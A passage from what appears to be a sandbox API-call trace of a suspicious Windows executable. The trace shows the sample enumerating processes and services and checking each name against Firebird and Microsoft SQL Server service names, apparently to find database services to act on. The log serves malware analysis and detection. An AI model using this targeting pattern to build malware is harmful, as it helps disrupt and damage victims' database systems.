(lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0188.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0188.455] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0188.455] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0188.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0188.455] lstrlenW (lpString="Schedule") returned 8 [0188.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0188.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0188.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0188.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0188.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0188.455] lstrlenW (lpString="SecurityHealthService") returned 21 [0188.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0188.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0188.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0188.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0188.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0188.456] lstrlenW (lpString="SENS") returned 4 [0188.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0188.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0188.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0188.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0188.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0188.456] lstrlenW (lpString="ShellHWDetection") returned 16 [0188.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0188.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0188.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0188.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0188.456] lstrlenW (lpString="Spooler") returned 7 [0188.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0188.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0188.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0188.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0188.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0188.456] lstrlenW (lpString="StateRepository") returned 15 [0188.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0188.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0188.456] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0188.456] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0188.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0188.456] lstrlenW (lpString="SysMain") returned 7 [0188.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0188.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0188.456] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0188.456] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0188.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0188.456] lstrlenW (lpString="SystemEventsBroker") returned 18 [0188.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0188.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0188.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0188.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0188.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0188.457] lstrlenW (lpString="Themes") returned 6 [0188.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0188.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0188.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0188.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0188.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456b180 | out: hHeap=0x420000) returned 1 [0188.457] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540 [0188.461] Process32FirstW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.461] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0188.462] lstrlenW (lpString="System") returned 6 [0188.462] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0188.462] lstrlenW (lpString="smss.exe") returned 8 [0188.462] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.463] lstrlenW (lpString="csrss.exe") returned 9 [0188.463] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0188.463] lstrlenW (lpString="wininit.exe") returned 11 [0188.463] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.464] lstrlenW (lpString="csrss.exe") returned 9 [0188.464] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0188.464] lstrlenW (lpString="winlogon.exe") returned 12 [0188.464] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0188.464] lstrlenW (lpString="services.exe") returned 12 [0188.464] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0188.465] lstrlenW (lpString="lsass.exe") returned 9 [0188.465] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0188.594] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0188.594] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0188.594] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0188.595] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.595] lstrlenW (lpString="svchost.exe") returned 11 [0188.595] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.595] lstrlenW (lpString="svchost.exe") returned 11 [0188.595] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0188.596] lstrlenW (lpString="dwm.exe") returned 7 [0188.596] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.596] lstrlenW (lpString="svchost.exe") returned 11 [0188.596] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.597] lstrlenW (lpString="svchost.exe") returned 11 [0188.597] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.597] lstrlenW (lpString="svchost.exe") returned 11 [0188.597] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.597] lstrlenW (lpString="svchost.exe") returned 11 [0188.598] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.598] lstrlenW (lpString="svchost.exe") returned 11 [0188.598] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.598] lstrlenW (lpString="svchost.exe") returned 11 [0188.598] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.599] lstrlenW (lpString="svchost.exe") returned 11 [0188.599] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.599] lstrlenW (lpString="svchost.exe") returned 11 [0188.599] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.600] lstrlenW (lpString="svchost.exe") returned 11 [0188.600] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.600] lstrlenW (lpString="svchost.exe") returned 11 [0188.600] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0188.601] lstrlenW (lpString="spoolsv.exe") returned 11 [0188.601] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.601] lstrlenW (lpString="svchost.exe") returned 11 [0188.601] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0188.601] lstrlenW (lpString="audiodg.exe") returned 11 [0188.601] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0188.602] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0188.602] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0188.602] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0188.602] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0188.603] lstrlenW (lpString="Memory Compression") returned 18 [0188.603] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0188.603] lstrlenW (lpString="sihost.exe") returned 10 [0188.603] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.604] lstrlenW (lpString="svchost.exe") returned 11 [0188.604] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0188.604] lstrlenW (lpString="taskhostw.exe") returned 13 [0188.604] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0188.604] lstrlenW (lpString="msoia.exe") returned 9 [0188.605] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0188.605] lstrlenW (lpString="explorer.exe") returned 12 [0188.605] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0188.605] lstrlenW (lpString="SearchUI.exe") returned 12 [0188.606] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0188.606] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0188.607] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0188.607] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0188.607] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0188.607] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0188.607] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0188.608] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0188.608] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0188.608] lstrlenW (lpString="cmd.exe") returned 7 [0188.608] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0188.609] lstrlenW (lpString="conhost.exe") returned 11 [0188.609] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0188.609] lstrlenW (lpString="consent.exe") returned 11 [0188.609] Process32NextW (in: hSnapshot=0x540, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0188.609] CloseHandle (hObject=0x540) returned 1 [0188.609] Sleep (dwMilliseconds=0x1f4) [0189.267] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b1c0 [0189.267] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0189.268] GetLastError () returned 0xea [0189.268] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x456b180 [0189.269] EnumServicesStatusExW (in: hSCManager=0x447b1c0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0189.269] CloseServiceHandle (hSCObject=0x447b1c0) returned 1 [0189.270] lstrlenW (lpString="Appinfo") returned 7 [0189.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0189.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0189.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0189.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0189.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0189.270] lstrlenW (lpString="AppXSvc") returned 7 [0189.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0189.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0189.270] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0189.270] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0189.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0189.270] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0189.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0189.270] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0189.270] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0189.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0189.271] lstrlenW (lpString="Audiosrv") returned 8 [0189.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0189.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0189.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0189.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0189.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0189.271] lstrlenW (lpString="BFE") returned 3 [0189.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0189.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0189.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0189.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0189.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0189.271] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0189.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0189.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0189.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0189.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0189.271] lstrlenW (lpString="CDPSvc") returned 6 [0189.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0189.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0189.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0189.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0189.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0189.271] lstrlenW (lpString="ClickToRunSvc") returned 13 [0189.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0189.272] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0189.272] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0189.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0189.272] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0189.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0189.272] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0189.272] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0189.272] lstrcmpiW (lpString1="sqlserveradhelper", 